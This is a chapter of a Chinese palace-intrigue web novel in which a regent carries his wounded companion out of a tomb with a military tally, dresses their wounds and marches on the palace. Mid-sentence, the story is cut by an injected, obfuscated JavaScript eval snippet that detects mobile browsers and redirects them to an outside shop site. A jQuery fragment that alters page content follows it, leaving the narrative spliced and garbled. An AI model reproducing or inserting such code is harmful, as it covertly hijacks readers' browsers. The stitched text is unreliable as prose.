权峥凛收紧手臂,将冷雪梅牢牢抱紧,手臂稳稳托住她的腰腹,刻意避开她肩头崩裂的伤口。
另一只手将真兵符贴身揣入劲装内袋,手掌紧紧按住胸口,郑重笃定,守护着这来之不易的权柄。
石室之内血腥味浓烈刺鼻,满地尸体横陈,鲜血顺着石缝不断渗向地底,将冰冷石块浸染得暗红。
石壁下孤零零躺着权彻的尸体,圆睁的双眼爬满不甘与怨怼,临终那句嘶哑破碎的话语,仿佛还回荡在空旷的石室中,久久不散。
权峥凛垂眸淡淡扫了一眼地上的尸体,漠然置之,眼神平静无波。
随即他低头看向怀中虚弱不堪的冷雪梅,指尖轻轻拂去她脸颊沾染的血污与灰尘,温柔至极,与方才杀伐狠戾,刃起夺命的模样判若两人,满心珍视安稳。
权峥凛沉声开口:“我带你出去。”
他缓缓弯腰,再次打横抱起冷雪梅,仔细调整姿势,避开她肩头与自己肩胛伤口,脚步放缓放轻,一步步朝着玄洞通道走去。
冷雪梅的暗卫见状,立刻上前清理石室痕迹,迅速利落地将散落一地的短刃收拢归置,把权彻及一众暗卫的尸体拖拽至石室最角落,扯下石壁上垂落的青藤,层层遮盖。
一行人又用碎石掩盖地面血迹,销毁厮杀痕迹,确认无任何遗漏后,快步跟上两人,分列前后左右,形成严密护阵,寸步不离地守护着两人前行。
权峥凛抱着冷雪梅走入玄洞通道,通道内潮湿阴冷,石壁上挂满水珠,脚下碎石湿滑。
此前点燃的火把早已熄灭,只剩极致黑暗,伸手不见五指。
他从怀中摸出备用火折子,放在唇边吹亮明火,微弱火光摇曳,勉强照亮前方狭窄路径,脚下是凹凸不平的碎石。
每走一步,权峥的目光紧盯路面,避开尖锐石块与湿滑青苔,让怀中人感受不到颠簸。
火折子的微光将两人紧紧相依的身影投向湿滑石壁上,密不可分。
冷雪梅靠在他怀中,缓缓抬手环住他的脖颈,脸颊贴着他的颈侧,感受着他沉稳有力的心跳,肩头剧痛愈发清晰。
她每一次呼吸都牵扯着伤口,终因这份踏实的怀抱,少了大半煎熬。指尖摩挲着他颈间温热肌肤,轻柔缓慢,神情古井无波。
通道内的暗箭、陷坑机关已被此前的激烈动作触发,此刻,再无任何隐患。
权峥凛抱着冷雪梅,顺着记忆中的路径快步前行。
火折子的火光渐渐照亮前方,通道出口的光亮越来越清晰,先前被暗卫炸开的洞口,此刻透着外界微光。
晨曦已穿透浓重夜色,洒向祖陵的山林间,驱散了深夜的阴冷与肃杀,带来一丝暖意。
行至洞口,守在外面的谢无妄的边军与冷雪梅预留的暗卫立刻躬身行礼,动作整齐划一,神色恭敬肃穆,阒无人声,默默让出一条宽敞通路,垂首静待两人走过。
权峥凛抱着冷雪梅走出玄洞,清晨微风轻轻拂过,带着山林间的草木清香与泥土气息,冲淡了两人满身的血腥味。
晨曦洒向两人身上,镀上一层暖金光晕,褪去了石室中的阴冷与杀伐之气,溢出历经绝境后的平和。
权峥凛缓步走向提前备好的马车,马车由实木打造,车厢宽敞坚固。
内部铺着柔软的锦垫与绒毯,角落木盒里备好疗伤的金疮药、干净纱布、温水与滋补干粮,皆是暗卫提前细心备下的,只为让两人能稍作休整。
他弯腰进入车厢,轻柔地将冷雪梅放置厚实锦垫上,让她安稳靠坐好,随后转身下车,站立马车旁。
权峥的对守在车外的凌刀沉声下令:“传令下去,封锁祖陵全境,不许任何人靠近,清理山林与洞口痕迹,半个时辰后,启程返回摄政王府,沿途不得有任何惊扰。”
凌刀躬身领命,转身快步离去,着手安排各项事宜,边军与暗卫迅速行动,各司其职,一部分人把守祖陵各个出入口,设下重重戒备,严禁外人踏入。
一部分人清理山林间的踪迹,掩盖车马痕迹与打斗线索,不过片刻,祖陵周边便被严密把控。
权峥凛转身回到马车车厢,轻轻关上车门,隔绝了外界的风声与脚步声,车厢内安静下来,传来两人呼吸声。
他从一旁木盒中依次取出金疮药、干净纱布与盛着温水的瓷碗,坐到冷雪梅身边,先拿起柔软的干净棉布,蘸了温水,轻轻擦拭她肩头伤口周边干涸的血污,轻柔至极,指尖力度放得轻,生怕弄疼她分毫。
冷雪梅端坐不动,任由他处置伤口,指尖紧紧攥着车厢内的锦垫边缘,偶尔因伤口的刺痛微微蹙眉,薄唇紧抿,一声不响,神色平静隐忍。
权峥凛小心翼翼地揭开她肩头沾血的旧纱布,纱布早已与伤口黏连,他一点点轻轻撕扯,缓慢细致,待旧纱布取下,露出底下崩裂渗血的伤口,皮肉外翻,渗着血丝,看着触目惊心。
他眸底闪过一丝心疼,指尖捏起金疮药,均匀地撒向伤口创面,药粉触碰到敏感的创面,带来一阵尖锐刺痛,冷雪梅肩头不受控制地微微颤动。
权峥凛立刻停下动作,轻声安抚:“忍一忍,很快就好,别乱动。”
待冷雪梅平复下来,不再颤动,他才拿起干净纱布,一层层轻柔缠绕她肩头,系好系带,松紧适中,既不会牵扯伤口,又能牢牢固定包扎,防止伤口再次崩裂。
处理好冷雪梅的伤口,权峥凛又自行处理肩胛处伤口,伸手撕开沾染血迹的劲装,露出同样渗血的创面。
伤口因此前剧烈厮杀撕裂得极深,他神色平静,毫不犹豫地快速撒上药粉,用纱布缠好包扎,全程利落干脆。
冷雪梅缓缓抬手,帮他整理好凌乱的劲装衣襟,指尖温柔地抚过他包扎好的肩胛部位,饱含无声的关切。
半个时辰转瞬即逝,车外响起凌刀沉稳的声音,打破车厢内安静。
“王爷,一切准备妥当,可启程返回王府。”
权峥凛微微颔首,对着车外沉声吩咐:“启程,放缓车速,沿途全程戒备,避开官道,走隐秘路径,确保安稳。”
马车缓缓启动,车轮碾过祖陵青石板路,平稳前行,朝着京城方向驶去。
边军与暗卫簇拥马车两侧,一路戒备森严,目光紧盯四周,杜绝一切潜在隐患,确保行程安稳无虞。
车厢内,冷雪梅靠着权峥凛肩头,闭目养神,伤口痛感渐渐缓和,连日来的紧绷与疲惫涌上心头,终因身边之人的陪伴,睡得安稳踏实。
权峥凛抬手揽住她的肩头,轻轻调整姿势,让她靠得更舒服。
另一只手按在胸口,隔着衣料,他清晰感受到真兵符的厚重触感,兵权,天命,他们历经无数绝境,生死厮杀换来的权柄,沉甸甸的,又无比踏实。
马车一路平稳行驶,全程避开热闹官道,专走隐秘小径,沿途无任何阻拦。
老皇帝残余势力早已在凝梅院与祖陵一役中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722964|208753||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
折损殆尽,无人再敢阻拦两人的去路,一路畅通无阻。
行至午后时分,马车顺利抵达摄政王府,王府内外早已被暗卫严密把守,戒备森严。
府内府外杜绝一切眼线窥探,连一只飞鸟都难以靠近,氛围肃穆庄重。
权峥凛再次弯腰抱起冷雪梅,走下马车,脚步沉稳地径直走入主寝殿,将她轻轻放置软榻上,掖好锦被,让她安心休养。
侍女西翠端来熬好的疗伤汤药与滋补膳食,躬身轻放于案上,行礼后静静退下。
殿内只剩两人,安静祥和,褪去了此前的厮杀与紧绷,只剩岁月静好的安稳。
冷雪梅喝下药汤,用完膳食,靠着软榻,目光看向权峥凛。
“何时动身入宫?”
权峥凛坐在她身边,从内袋中取出真兵符,放置案上。
殿内灯火的映照下,青铜兵符泛着古朴冷冽的光泽,虎形纹路威风凛凛,尽显天命权柄,透着不容侵犯的威严。
他指尖轻轻敲击兵符表面,动作沉稳,眸底灌注决断与势在必得。
“休养三日,待你我伤口好转,即刻调遣京畿驻军,封锁皇宫四门,带兵入宫,逼老皇帝退位。”
拿起兵符,权峥凛轻轻放入冷雪梅手中,握住她的手,让两人的手交叠,共同攥着这枚关乎天下苍生、江山权柄的兵符。
权峥的势在必得:“兵符在手,天命归位,这江山,本就该是我们的。”
冷雪梅握紧兵符,冰凉厚重的触感传来,心底一片澄明坚定。
她抬眼看向权峥凛,眼中满是历经生死后的坚定与温柔,缓缓起身,不顾肩头伤口轻微痛感,伸手环住他的脖颈,与他紧紧相拥。
接下来三日,摄政王府内紧锣密鼓筹备。
权峥凛持真兵符,亲自召见京畿驻军将领,调遣全城兵力,将兵权牢牢掌控手中,安抚军心,严明军纪。
他又派人清理朝堂中老皇帝的残余党羽,将不忠之人尽数替换,斩断皇宫外援,把控京城内外兵力动向。
冷雪梅虽榻上养伤,仍运筹帷幄,调动自己麾下暗线,分布京城各个角落,把控城内城外动向,封锁消息,杜绝一切泄密可能,确保入宫逼宫万无一失。
王府正厅内,真兵符被供奉在檀木案上,成为最高权柄的象征,驻军将领轮番拜见,俯首称臣,听命于权峥凛号令。
皇宫之内,老皇帝早已通过密探得知权彻身死,真兵符落入权峥凛手中的消息,气急攻心,一口鲜血喷出,卧病在床。
朝堂之上,人心惶惶,文武百官纷纷倒戈,无人再愿为他效力,沦为孤家寡人,手中无兵无权,再无反抗之力,只能坐等终局来临。
三日期满,冷雪梅与权峥凛的伤口均已好转结痂。
两人换上一身玄色朝服,身姿挺拔,气度凛然,周身透着执掌天下的威仪。
权峥凛手持真兵符,站立王府正厅中央,对着厅内一众将领与暗卫沉声下令,声音洪亮,响彻整个王府。
“传我命令,全军集结,入宫逼宫!”
号令落下,众人齐声应和,声震云霄,气势恢宏,尽显兵权在握的底气。
权峥凛转头看向身边的冷雪梅,伸手紧紧握住她的手,两人并肩走出王府,一同登上马车,朝着皇宫缓缓进发。
马车外驻军列队整齐,盔甲鲜明,兵戈林立,以真兵符为令,队伍绵延数里,气势磅礴,直奔皇宫而去。